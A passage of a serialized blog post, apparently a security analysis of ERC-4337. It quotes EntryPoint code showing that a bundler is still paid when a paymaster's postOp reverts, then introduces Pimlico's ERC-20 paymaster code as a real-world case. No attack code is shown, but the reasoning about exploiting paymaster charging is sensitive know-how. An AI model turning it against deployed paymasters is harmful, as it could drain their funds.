solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[105954],{"type":23,"tag":37,"props":105955,"children":105956},{"__ignoreMap":7},[105957,105972,105997,106016,106035,106047,106084,106091,106123,106140,106155,106171,106195,106220,106244,106266,106284,106301,106309,106327,106343,106376,106394,106401,106408,106416,106432,106464,106486,106493,106500,106507],{"type":23,"tag":41,"props":105958,"children":105959},{"class":43,"line":44},[105960,105964,105968],{"type":23,"tag":41,"props":105961,"children":105962},{"style":64},[105963],{"type":28,"value":111},{"type":23,"tag":41,"props":105965,"children":105966},{"style":114},[105967],{"type":28,"value":105150},{"type":23,"tag":41,"props":105969,"children":105970},{"style":70},[105971],{"type":28,"value":3461},{"type":23,"tag":41,"props":105973,"children":105974},{"class":43,"line":54},[105975,105980,105984,105988,105993],{"type":23,"tag":41,"props":105976,"children":105977},{"style":64},[105978],{"type":28,"value":105979},"        IPaymaster",{"type":23,"tag":41,"props":105981,"children":105982},{"style":70},[105983],{"type":28,"value":706},{"type":23,"tag":41,"props":105985,"children":105986},{"style":858},[105987],{"type":28,"value":103510},{"type":23,"tag":41,"props":105989,"children":105990},{"style":858},[105991],{"type":28,"value":105992}," mode",{"type":23,"tag":41,"props":105994,"children":105995},{"style":70},[105996],{"type":28,"value":3506},{"type":23,"tag":41,"props":105998,"children":105999},{"class":43,"line":76},[106000,106004,106008,106012],{"type":23,"tag":41,"props":106001,"children":106002},{"style":64},[106003],{"type":28,"value":104458},{"type":23,"tag":41,"props":106005,"children":106006},{"style":64},[106007],{"type":28,"value":102798},{"type":23,"tag":41,"props":106009,"children":106010},{"style":858},[106011],{"type":28,"value":105446},{"type":23,"tag":41,"props":106013,"children":106014},{"style":70},[106015],{"type":28,"value":3506},{"type":23,"tag":41,"props":106017,"children":106018},{"class":43,"line":85},[106019,106023,106027,106031],{"type":23,"tag":41,"props":106020,"children":106021},{"style":94},[106022],{"type":28,"value":105417},{"type":23,"tag":41,"props":106024,"children":106025},{"style":64},[106026],{"type":28,"value":102798},{"type":23,"tag":41,"props":106028,"children":106029},{"style":858},[106030],{"type":28,"value":76335},{"type":23,"tag":41,"props":106032,"children":106033},{"style":70},[106034],{"type":28,"value":3506},{"type":23,"tag":41,"props":106036,"children":106037},{"class":43,"line":105},[106038,106042],{"type":23,"tag":41,"props":106039,"children":106040},{"style":94},[106041],{"type":28,"value":307},{"type":23,"tag":41,"props":106043,"children":106044},{"style":858},[106045],{"type":28,"value":106046}," actualGas\n",{"type":23,"tag":41,"props":106048,"children":106049},{"class":43,"line":155},[106050,106054,106059,106064,106068,106072,106076,106080],{"type":23,"tag":41,"props":106051,"children":106052},{"style":70},[106053],{"type":28,"value":105474},{"type":23,"tag":41,"props":106055,"children":106056},{"style":64},[106057],{"type":28,"value":106058},"internal",{"type":23,"tag":41,"props":106060,"children":106061},{"style":64},[106062],{"type":28,"value":106063}," virtual",{"type":23,"tag":41,"props":106065,"children":106066},{"style":58},[106067],{"type":28,"value":137},{"type":23,"tag":41,"props":106069,"children":106070},{"style":70},[106071],{"type":28,"value":142},{"type":23,"tag":41,"props":106073,"children":106074},{"style":94},[106075],{"type":28,"value":147},{"type":23,"tag":41,"props":106077,"children":106078},{"style":858},[106079],{"type":28,"value":103539},{"type":23,"tag":41,"props":106081,"children":106082},{"style":70},[106083],{"type":28,"value":152},{"type":23,"tag":41,"props":106085,"children":106086},{"class":43,"line":186},[106087],{"type":23,"tag":41,"props":106088,"children":106089},{"style":70},[106090],{"type":28,"value":104519},{"type":23,"tag":41,"props":106092,"children":106093},{"class":43,"line":195},[106094,106098,106103,106107,106111,106115,106119],{"type":23,"tag":41,"props":106095,"children":106096},{"style":58},[106097],{"type":28,"value":58797},{"type":23,"tag":41,"props":106099,"children":106100},{"style":70},[106101],{"type":28,"value":106102}," (paymaster ",{"type":23,"tag":41,"props":106104,"children":106105},{"style":170},[106106],{"type":28,"value":387},{"type":23,"tag":41,"props":106108,"children":106109},{"style":94},[106110],{"type":28,"value":6248},{"type":23,"tag":41,"props":106112,"children":106113},{"style":70},[106114],{"type":28,"value":1737},{"type":23,"tag":41,"props":106116,"children":106117},{"style":164},[106118],{"type":28,"value":4024},{"type":23,"tag":41,"props":106120,"children":106121},{"style":70},[106122],{"type":28,"value":35188},{"type":23,"tag":41,"props":106124,"children":106125},{"class":43,"line":905},[106126,106131,106135],{"type":23,"tag":41,"props":106127,"children":106128},{"style":70},[106129],{"type":28,"value":106130},"                refundAddress ",{"type":23,"tag":41,"props":106132,"children":106133},{"style":170},[106134],{"type":28,"value":2381},{"type":23,"tag":41,"props":106136,"children":106137},{"style":70},[106138],{"type":28,"value":106139}," mUserOp.sender;\n",{"type":23,"tag":41,"props":106141,"children":106142},{"class":43,"line":922},[106143,106147,106151],{"type":23,"tag":41,"props":106144,"children":106145},{"style":70},[106146],{"type":28,"value":70589},{"type":23,"tag":41,"props":106148,"children":106149},{"style":58},[106150],{"type":28,"value":3315},{"type":23,"tag":41,"props":106152,"children":106153},{"style":70},[106154],{"type":28,"value":102},{"type":23,"tag":41,"props":106156,"children":106157},{"class":43,"line":930},[106158,106162,106166],{"type":23,"tag":41,"props":106159,"children":106160},{"style":70},[106161],{"type":28,"value":106130},{"type":23,"tag":41,"props":106163,"children":106164},{"style":170},[106165],{"type":28,"value":2381},{"type":23,"tag":41,"props":106167,"children":106168},{"style":70},[106169],{"type":28,"value":106170}," paymaster;\n",{"type":23,"tag":41,"props":106172,"children":106173},{"class":43,"line":939},[106174,106178,106183,106187,106191],{"type":23,"tag":41,"props":106175,"children":106176},{"style":58},[106177],{"type":28,"value":103238},{"type":23,"tag":41,"props":106179,"children":106180},{"style":70},[106181],{"type":28,"value":106182}," (context.length ",{"type":23,"tag":41,"props":106184,"children":106185},{"style":170},[106186],{"type":28,"value":1022},{"type":23,"tag":41,"props":106188,"children":106189},{"style":164},[106190],{"type":28,"value":392},{"type":23,"tag":41,"props":106192,"children":106193},{"style":70},[106194],{"type":28,"value":152},{"type":23,"tag":41,"props":106196,"children":106197},{"class":43,"line":947},[106198,106203,106207,106211,106215],{"type":23,"tag":41,"props":106199,"children":106200},{"style":70},[106201],{"type":28,"value":106202},"                    actualGasCost ",{"type":23,"tag":41,"props":106204,"children":106205},{"style":170},[106206],{"type":28,"value":2381},{"type":23,"tag":41,"props":106208,"children":106209},{"style":70},[106210],{"type":28,"value":105010},{"type":23,"tag":41,"props":106212,"children":106213},{"style":170},[106214],{"type":28,"value":377},{"type":23,"tag":41,"props":106216,"children":106217},{"style":70},[106218],{"type":28,"value":106219}," gasPrice;\n",{"type":23,"tag":41,"props":106221,"children":106222},{"class":43,"line":985},[106223,106227,106232,106236,106240],{"type":23,"tag":41,"props":106224,"children":106225},{"style":94},[106226],{"type":28,"value":103195},{"type":23,"tag":41,"props":106228,"children":106229},{"style":70},[106230],{"type":28,"value":106231}," postOpPreGas ",{"type":23,"tag":41,"props":106233,"children":106234},{"style":170},[106235],{"type":28,"value":2381},{"type":23,"tag":41,"props":106237,"children":106238},{"style":64},[106239],{"type":28,"value":105028},{"type":23,"tag":41,"props":106241,"children":106242},{"style":70},[106243],{"type":28,"value":3669},{"type":23,"tag":41,"props":106245,"children":106246},{"class":43,"line":1058},[106247,106252,106257,106261],{"type":23,"tag":41,"props":106248,"children":106249},{"style":58},[106250],{"type":28,"value":106251},"                    if",{"type":23,"tag":41,"props":106253,"children":106254},{"style":70},[106255],{"type":28,"value":106256}," (mode ",{"type":23,"tag":41,"props":106258,"children":106259},{"style":170},[106260],{"type":28,"value":15679},{"type":23,"tag":41,"props":106262,"children":106263},{"style":70},[106264],{"type":28,"value":106265}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":23,"tag":41,"props":106267,"children":106268},{"class":43,"line":1084},[106269,106274,106279],{"type":23,"tag":41,"props":106270,"children":106271},{"style":58},[106272],{"type":28,"value":106273},"                        try",{"type":23,"tag":41,"props":106275,"children":106276},{"style":114},[106277],{"type":28,"value":106278}," IPaymaster",{"type":23,"tag":41,"props":106280,"children":106281},{"style":70},[106282],{"type":28,"value":106283},"(paymaster).postOp{\n",{"type":23,"tag":41,"props":106285,"children":106286},{"class":43,"line":1102},[106287,106292,106296],{"type":23,"tag":41,"props":106288,"children":106289},{"style":70},[106290],{"type":28,"value":106291},"                                gas",{"type":23,"tag":41,"props":106293,"children":106294},{"style":170},[106295],{"type":28,"value":1474},{"type":23,"tag":41,"props":106297,"children":106298},{"style":70},[106299],{"type":28,"value":106300}," mUserOp.paymasterPostOpGasLimit\n",{"type":23,"tag":41,"props":106302,"children":106303},{"class":43,"line":1110},[106304],{"type":23,"tag":41,"props":106305,"children":106306},{"style":70},[106307],{"type":28,"value":106308},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":23,"tag":41,"props":106310,"children":106311},{"class":43,"line":1118},[106312,106317,106322],{"type":23,"tag":41,"props":106313,"children":106314},{"style":48},[106315],{"type":28,"value":106316},"                        // ",{"type":23,"tag":41,"props":106318,"children":106319},{"style":64},[106320],{"type":28,"value":106321},"solhint-disable",{"type":23,"tag":41,"props":106323,"children":106324},{"style":48},[106325],{"type":28,"value":106326},"-next-line no-empty-blocks\n",{"type":23,"tag":41,"props":106328,"children":106329},{"class":43,"line":1137},[106330,106335,106339],{"type":23,"tag":41,"props":106331,"children":106332},{"style":70},[106333],{"type":28,"value":106334},"                        {} ",{"type":23,"tag":41,"props":106336,"children":106337},{"style":58},[106338],{"type":28,"value":48405},{"type":23,"tag":41,"props":106340,"children":106341},{"style":70},[106342],{"type":28,"value":102},{"type":23,"tag":41,"props":106344,"children":106345},{"class":43,"line":1163},[106346,106351,106355,106360,106364,106368,106372],{"type":23,"tag":41,"props":106347,"children":106348},{"style":94},[106349],{"type":28,"value":106350},"                            bytes",{"type":23,"tag":41,"props":106352,"children":106353},{"style":64},[106354],{"type":28,"value":102798},{"type":23,"tag":41,"props":106356,"children":106357},{"style":70},[106358],{"type":28,"value":106359}," reason ",{"type":23,"tag":41,"props":106361,"children":106362},{"style":170},[106363],{"type":28,"value":2381},{"type":23,"tag":41,"props":106365,"children":106366},{"style":70},[106367],{"type":28,"value":105569},{"type":23,"tag":41,"props":106369,"children":106370},{"style":114},[106371],{"type":28,"value":105660},{"type":23,"tag":41,"props":106373,"children":106374},{"style":70},[106375],{"type":28,"value":105665},{"type":23,"tag":41,"props":106377,"children":106378},{"class":43,"line":1188},[106379,106384,106389],{"type":23,"tag":41,"props":106380,"children":106381},{"style":58},[106382],{"type":28,"value":106383},"                            revert",{"type":23,"tag":41,"props":106385,"children":106386},{"style":114},[106387],{"type":28,"value":106388}," PostOpReverted",{"type":23,"tag":41,"props":106390,"children":106391},{"style":70},[106392],{"type":28,"value":106393},"(reason);\n",{"type":23,"tag":41,"props":106395,"children":106396},{"class":43,"line":1979},[106397],{"type":23,"tag":41,"props":106398,"children":106399},{"style":70},[106400],{"type":28,"value":70973},{"type":23,"tag":41,"props":106402,"children":106403},{"class":43,"line":2002},[106404],{"type":23,"tag":41,"props":106405,"children":106406},{"style":70},[106407],{"type":28,"value":71058},{"type":23,"tag":41,"props":106409,"children":106410},{"class":43,"line":3835},[106411],{"type":23,"tag":41,"props":106412,"children":106413},{"style":48},[106414],{"type":28,"value":106415},"                    // Calculating a penalty for unused postOp gas\n",{"type":23,"tag":41,"props":106417,"children":106418},{"class":43,"line":3895},[106419,106423,106427],{"type":23,"tag":41,"props":106420,"children":106421},{"style":48},[106422],{"type":28,"value":103260},{"type":23,"tag":41,"props":106424,"children":106425},{"style":64},[106426],{"type":28,"value":66754},{"type":23,"tag":41,"props":106428,"children":106429},{"style":48},[106430],{"type":28,"value":106431}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":23,"tag":41,"props":106433,"children":106434},{"class":43,"line":9044},[106435,106439,106444,106448,106452,106456,106460],{"type":23,"tag":41,"props":106436,"children":106437},{"style":94},[106438],{"type":28,"value":103195},{"type":23,"tag":41,"props":106440,"children":106441},{"style":70},[106442],{"type":28,"value":106443}," postOpGasUsed ",{"type":23,"tag":41,"props":106445,"children":106446},{"style":170},[106447],{"type":28,"value":2381},{"type":23,"tag":41,"props":106449,"children":106450},{"style":70},[106451],{"type":28,"value":106231},{"type":23,"tag":41,"props":106453,"children":106454},{"style":170},[106455],{"type":28,"value":4329},{"type":23,"tag":41,"props":106457,"children":106458},{"style":64},[106459],{"type":28,"value":105028},{"type":23,"tag":41,"props":106461,"children":106462},{"style":70},[106463],{"type":28,"value":3669},{"type":23,"tag":41,"props":106465,"children":106466},{"class":43,"line":9061},[106467,106472,106476,106481],{"type":23,"tag":41,"props":106468,"children":106469},{"style":70},[106470],{"type":28,"value":106471},"                    postOpUnusedGasPenalty ",{"type":23,"tag":41,"props":106473,"children":106474},{"style":170},[106475],{"type":28,"value":2381},{"type":23,"tag":41,"props":106477,"children":106478},{"style":114},[106479],{"type":28,"value":106480}," _getUnusedGasPenalty",{"type":23,"tag":41,"props":106482,"children":106483},{"style":70},[106484],{"type":28,"value":106485},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":23,"tag":41,"props":106487,"children":106488},{"class":43,"line":9106},[106489],{"type":23,"tag":41,"props":106490,"children":106491},{"style":70},[106492],{"type":28,"value":71066},{"type":23,"tag":41,"props":106494,"children":106495},{"class":43,"line":9212},[106496],{"type":23,"tag":41,"props":106497,"children":106498},{"style":70},[106499],{"type":28,"value":58881},{"type":23,"tag":41,"props":106501,"children":106502},{"class":43,"line":23496},[106503],{"type":23,"tag":41,"props":106504,"children":106505},{"style":70},[106506],{"type":28,"value":104519},{"type":23,"tag":41,"props":106508,"children":106509},{"class":43,"line":23531},[106510],{"type":23,"tag":41,"props":106511,"children":106512},{"style":70},[106513],{"type":28,"value":192},{"type":23,"tag":24,"props":106515,"children":106516},{},[106517,106519,106524,106526,106532,106534,106540,106542,106547,106549,106554,106556,106561,106563,106568,106570,106575,106577,106582],{"type":28,"value":106518},"It turns out that if the ",{"type":23,"tag":37,"props":106520,"children":106522},{"className":106521},[],[106523],{"type":28,"value":102099},{"type":28,"value":106525}," call fails, it will revert with ",{"type":23,"tag":37,"props":106527,"children":106529},{"className":106528},[],[106530],{"type":28,"value":106531},"PostOpReverted",{"type":28,"value":106533},". However, as we can see in the previous code of ",{"type":23,"tag":37,"props":106535,"children":106537},{"className":106536},[],[106538],{"type":28,"value":106539},"_executeUserOp",{"type":28,"value":106541},", even though ",{"type":23,"tag":37,"props":106543,"children":106545},{"className":106544},[],[106546],{"type":28,"value":105241},{"type":28,"value":106548}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":23,"tag":37,"props":106550,"children":106552},{"className":106551},[],[106553],{"type":28,"value":105909},{"type":28,"value":106555}," call with ",{"type":23,"tag":37,"props":106557,"children":106559},{"className":106558},[],[106560],{"type":28,"value":105917},{"type":28,"value":106562}," mode, and it won't try to call ",{"type":23,"tag":37,"props":106564,"children":106566},{"className":106565},[],[106567],{"type":28,"value":102099},{"type":28,"value":106569}," again. This means the ",{"type":23,"tag":37,"props":106571,"children":106573},{"className":106572},[],[106574],{"type":28,"value":101960},{"type":28,"value":106576}," still gets paid for submitting the failed ",{"type":23,"tag":37,"props":106578,"children":106580},{"className":106579},[],[106581],{"type":28,"value":101900},{"type":28,"value":706},{"type":23,"tag":24,"props":106584,"children":106585},{},[106586,106588,106593,106595,106600,106602,106609],{"type":28,"value":106587},"Now that we understand this behavior where ",{"type":23,"tag":37,"props":106589,"children":106591},{"className":106590},[],[106592],{"type":28,"value":102099},{"type":28,"value":106594}," is allowed to fail while the ",{"type":23,"tag":37,"props":106596,"children":106598},{"className":106597},[],[106599],{"type":28,"value":101960},{"type":28,"value":106601}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":23,"tag":458,"props":106603,"children":106606},{"href":106604,"rel":106605},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[462],[106607],{"type":28,"value":106608},"Pimlico",{"type":28,"value":706},{"type":23,"tag":31,"props":106611,"children":106613},{"className":34,"code":106612,"language":16,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[106614],{"type":23,"tag":37,"props":106615,"children":106616},{"__ignoreMap":7},[106617,106632,106649,106669,106685,106697,106704,106711,106718,106749,106756,106781,106789,106796,106803,106832,106839,106855,106877,106884,106900,106950,106957,106973,106981,107014,107047,107055,107062,107069,107112,107119,107168,107194,107201,107208,107225],{"type":23,"tag":41,"props":106618,"children":106619},{"class":43,"line":44},[106620,106624,106628],{"type":23,"tag":41,"props":106621,"children":106622},{"style":64},[106623],{"type":28,"value":111},{"type":23,"tag":41,"props":106625,"children":106626},{"style":114},[106627],{"type":28,"value":103501},{"type":23,"tag":41,"props":106629,"children":106630},{"style":70},[106631],{"type":28,"value":3461},{"type":23,"tag":41,"props":106633,"children":106634},{"class":43,"line":54},[106635,106640,106644],{"type":23,"tag":41,"props":106636,"children":106637},{"style":64},[106638],{"type":28,"value":106639},"        PostOpMode",{"type":23,"tag":41,"props":106641,"children":106642},{"style":70},[106643],{"type":28,"value":970},{"type":23,"tag":41,"props":106645,"children":106646},{"style":48},[106647],{"type":28,"value":106648},"/* mode */\n",{"type":23,"tag":41,"props":106650,"children":106651},{"class":43,"line":76},[106652,106656,106660,106665],{"type":23,"tag":41,"props":106653,"children":106654},{"style":94},[106655],{"type":28,"value":105417},{"type":23,"tag":41,"props":106657,"children":106658},{"style":64},[106659],{"type":28,"value":102730},{"type":23,"tag":41,"props":106661,"children":106662},{"style":858},[106663],{"type":28,"value":106664}," _context",{"type":23,"tag":41,"props":106666,"children":106667},{"style":70},[106668],{"type":28,"value":3506},{"type":23,"tag":41,"props":106670,"children":106671},{"class":43,"line":85},[106672,106676,106681],{"type":23,"tag":41,"props":106673,"children":106674},{"style":94},[106675],{"type":28,"value":307},{"type":23,"tag":41,"props":106677,"children":106678},{"style":858},[106679],{"type":28,"value":106680}," _actualGasCost",{"type":23,"tag":41,"props":106682,"children":106683},{"style":70},[106684],{"type":28,"value":3506},{"type":23,"tag":41,"props":106686,"children":106687},{"class":43,"line":105},[106688,106692],{"type":23,"tag":41,"props":106689,"children":106690},{"style":94},[106691],{"type":28,"value":307},{"type":23,"tag":41,"props":106693,"children":106694},{"style":858},[106695],{"type":28,"value":106696}," _actualUserOpFeePerGas\n",{"type":23,"tag":41,"props":106698,"children":106699},{"class":43,"line":155},[106700],{"type":23,"tag":41,"props":106701,"children":106702},{"style":70},[106703],{"type":28,"value":23917},{"type":23,"tag":41,"props":106705,"children":106706},{"class":43,"line":186},[106707],{"type":23,"tag":41,"props":106708,"children":106709},{"style":64},[106710],{"type":28,"value":102769},{"type":23,"tag":41,"props":106712,"children":106713},{"class":43,"line":195},[106714],{"type":23,"tag":41,"props":106715,"children":106716},{"style":70},[106717],{"type":28,"value":1711},{"type":23,"tag":41,"props":106719,"children":106720},{"class":43,"line":905},[106721,106726,106730,106735,106739,106744],{"type":23,"tag":41,"props":106722,"children":106723},{"style":70},[106724],{"type":28,"value":106725},"        ERC20PostOpContext ",{"type":23,"tag":41,"props":106727,"children":106728},{"style":64},[106729],{"type":28,"value":75968},{"type":23,"tag":41,"props":106731,"children":106732},{"style":70},[106733],{"type":28,"value":106734}," ctx ",{"type":23,"tag":41,"props":106736,"children":106737},{"style":170},[106738],{"type":28,"value":2381},{"type":23,"tag":41,"props":106740,"children":106741},{"style":114},[106742],{"type":28,"value":106743}," _parsePostOpContext",{"type":23,"tag":41,"props":106745,"children":106746},{"style":70},[106747],{"type":28,"value":106748},"(_context);\n",{"type":23,"tag":41,"props":106750,"children":106751},{"class":43,"line":922},[106752],{"type":23,"tag":41,"props":106753,"children":106754},{"emptyLinePlaceholder":18},[106755],{"type":28,"value":82},{"type":23,"tag":41,"props":106757,"children":106758},{"class":43,"line":930},[106759,106763,106768,106772,106777],{"type":23,"tag":41,"props":106760,"children":106761},{"style":94},[106762],{"type":28,"value":307},{"type":23,"tag":41,"props":106764,"children":106765},{"style":70},[106766],{"type":28,"value":106767}," expectedPenaltyGasCost ",{"type":23,"tag":41,"props":106769,"children":106770},{"style":170},[106771],{"type":28,"value":2381},{"type":23,"tag":41,"props":106773,"children":106774},{"style":114},[106775],{"type":28,"value":106776}," _expectedPenaltyGasCost",{"type":23,"tag":41,"props":106778,"children":106779},{"style":70},[106780],{"type":28,"value":3461},{"type":23,"tag":41,"props":106782,"children":106783},{"class":43,"line":939},[106784],{"type":23,"tag":41,"props":106785,"children":106786},{"style":70},[106787],{"type":28,"value":106788},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":23,"tag":41,"props":106790,"children":106791},{"class":43,"line":947},[106792],{"type":23,"tag":41,"props":106793,"children":106794},{"style":70},[106795],{"type":28,"value":7743},{"type":23,"tag":41,"props":106797,"children":106798},{"class":43,"line":985},[106799],{"type":23,"tag":41,"props":106800,"children":106801},{"emptyLinePlaceholder":18},[106802],{"type":28,"value":82},{"type":23,"tag":41,"props":106804,"children":106805},{"class":43,"line":1058},[106806,106810,106814,106818,106823,106827],{"type":23,"tag":41,"props":106807,"children":106808},{"style":94},[106809],{"type":28,"value":307},{"type":23,"tag":41,"props":106811,"children":106812},{"style":70},[106813],{"type":28,"value":103825},{"type":23,"tag":41,"props":106815,"children":106816},{"style":170},[106817],{"type":28,"value":2381},{"type":23,"tag":41,"props":106819,"children":106820},{"style":70},[106821],{"type":28,"value":106822}," _actualGasCost ",{"type":23,"tag":41,"props":106824,"children":106825},{"style":170},[106826],{"type":28,"value":4383},{"type":23,"tag":41,"props":106828,"children":106829},{"style":70},[106830],{"type":28,"value":106831}," expectedPenaltyGasCost;\n",{"type":23,"tag":41,"props":106833,"children":106834},{"class":43,"line":1084},[106835],{"type":23,"tag":41,"props":106836,"children":106837},{"emptyLinePlaceholder":18},[106838],{"type":28,"value":82},{"type":23,"tag":41,"props":106840,"children":106841},{"class":43,"line":1102},[106842,106846,106851],{"type":23,"tag":41,"props":106843,"children":106844},{"style":94},[106845],{"type":28,"value":307},{"type":23,"tag":41,"props":106847,"children":106848},{"style":70},[106849],{"type":28,"value":106850}," costInToken ",{"type":23,"tag":41,"props":106852,"children":106853},{"style":170},[106854],{"type":28,"value":14685},{"type":23,"tag":41,"props":106856,"children":106857},{"class":43,"line":1110},[106858,106863,106868,106872],{"type":23,"tag":41,"props":106859,"children":106860},{"style":114},[106861],{"type":28,"value":106862},"            getCostInToken",{"type":23,"tag":41,"props":106864,"children":106865},{"style":70},[106866],{"type":28,"value":106867},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":23,"tag":41,"props":106869,"children":106870},{"style":170},[106871],{"type":28,"value":4383},{"type":23,"tag":41,"props":106873,"children":106874},{"style":70},[106875],{"type":28,"value":106876}," ctx.constantFee;\n",{"type":23,"tag":41,"props":106878,"children":106879},{"class":43,"line":1118},[106880],{"type":23,"tag":41,"props":106881,"children":106882},{"emptyLinePlaceholder":18},[106883],{"type":28,"value":82},{"type":23,"tag":41,"props":106885,"children":106886},{"class":43,"line":1137},[106887,106891,106896],{"type":23,"tag":41,"props":106888,"children":106889},{"style":94},[106890],{"type":28,"value":307},{"type":23,"tag":41,"props":106892,"children":106893},{"style":70},[106894],{"type":28,"value":106895}," absoluteCostInToken ",{"type":23,"tag":41,"props":106897,"children":106898},{"style":170},[106899],{"type":28,"value":14685},{"type":23,"tag":41,"props":106901,"children":106902},{"class":43,"line":1163},[106903,106908,106912,106917,106921,106925,106929,106933,106937,106941,106945],{"type":23,"tag":41,"props":106904,"children":106905},{"style":70},[106906],{"type":28,"value":106907},"            costInToken ",{"type":23,"tag":41,"props":106909,"children":106910},{"style":170},[106911],{"type":28,"value":1022},{"type":23,"tag":41,"props":106913,"children":106914},{"style":70},[106915],{"type":28,"value":106916}," ctx.preFundCharged ",{"type":23,"tag":41,"props":106918,"children":106919},{"style":170},[106920],{"type":28,"value":3155},{"type":23,"tag":41,"props":106922,"children":106923},{"style":70},[106924],{"type":28,"value":106850},{"type":23,"tag":41,"props":106926,"children":106927},{"style":170},[106928],{"type":28,"value":4329},{"type":23,"tag":41,"props":106930,"children":106931},{"style":70},[106932],{"type":28,"value":106916},{"type":23,"tag":41,"props":106934,"children":106935},{"style":170},[106936],{"type":28,"value":1474},{"type":23,"tag":41,"props":106938,"children":106939},{"style":70},[106940],{"type":28,"value":106916},{"type":23,"tag":41,"props":106942,"children":106943},{"style":170},[106944],{"type":28,"value":4329},{"type":23,"tag":41,"props":106946,"children":106947},{"style":70},[106948],{"type":28,"value":106949}," costInToken;\n",{"type":23,"tag":41,"props":106951,"children":106952},{"class":43,"line":1188},[106953],{"type":23,"tag":41,"props":106954,"children":106955},{"emptyLinePlaceholder":18},[106956],{"type":28,"value":82},{"type":23,"tag":41,"props":106958,"children":106959},{"class":43,"line":1979},[106960,106965,106969],{"type":23,"tag":41,"props":106961,"children":106962},{"style":70},[106963],{"type":28,"value":106964},"        SafeTransferLib.",{"type":23,"tag":41,"props":106966,"children":106967},{"style":114},[106968],{"type":28,"value":103356},{"type":23,"tag":41,"props":106970,"children":106971},{"style":70},[106972],{"type":28,"value":3461},{"type":23,"tag":41,"props":106974,"children":106975},{"class":43,"line":2002},[106976],{"type":23,"tag":41,"props":106977,"children":106978},{"style":70},[106979],{"type":28,"value":106980},"            ctx.token,\n",{"type":23,"tag":41,"props":106982,"children":106983},{"class":43,"line":3835},[106984,106988,106992,106996,107000,107005,107009],{"type":23,"tag":41,"props":106985,"children":106986},{"style":70},[106987],{"type":28,"value":106907},{"type":23,"tag":41,"props":106989,"children":106990},{"style":170},[106991],{"type":28,"value":1022},{"type":23,"tag":41,"props":106993,"children":106994},{"style":70},[106995],{"type":28,"value":106916},{"type":23,"tag":41,"props":106997,"children":106998},{"style":170},[106999],{"type":28,"value":3155},{"type":23,"tag":41,"props":107001,"children":107002},{"style":70},[107003],{"type":28,"value":107004}," ctx.sender ",{"type":23,"tag":41,"props":107006,"children":107007},{"style":170},[107008],{"type":28,"value":1474},{"type":23,"tag":41,"props":107010,"children":107011},{"style":70},[107012],{"type":28,"value":107013}," ctx.treasury,\n",{"type":23,"tag":41,"props":107015,"children":107016},{"class":43,"line":3895},[107017,107021,107025,107029,107033,107038,107042],{"type":23,"tag":41,"props":107018,"children":107019},{"style":70},[107020],{"type":28,"value":106907},{"type":23,"tag":41,"props":107022,"children":107023},{"style":170},[107024],{"type":28,"value":1022},{"type":23,"tag":41,"props":107026,"children":107027},{"style":70},[107028],{"type":28,"value":106916},{"type":23,"tag":41,"props":107030,"children":107031},{"style":170},[107032],{"type":28,"value":3155},{"type":23,"tag":41,"props":107034,"children":107035},{"style":70},[107036],{"type":28,"value":107037}," ctx.treasury ",{"type":23,"tag":41,"props":107039,"children":107040},{"style":170},[107041],{"type":28,"value":1474},{"type":23,"tag":41,"props":107043,"children":107044},{"style":70},[107045],{"type":28,"value":107046}," ctx.sender,\n",{"type":23,"tag":41,"props":107048,"children":107049},{"class":43,"line":9044},[107050],{"type":23,"tag":41,"props":107051,"children":107052},{"style":70},[107053],{"type":28,"value":107054},"            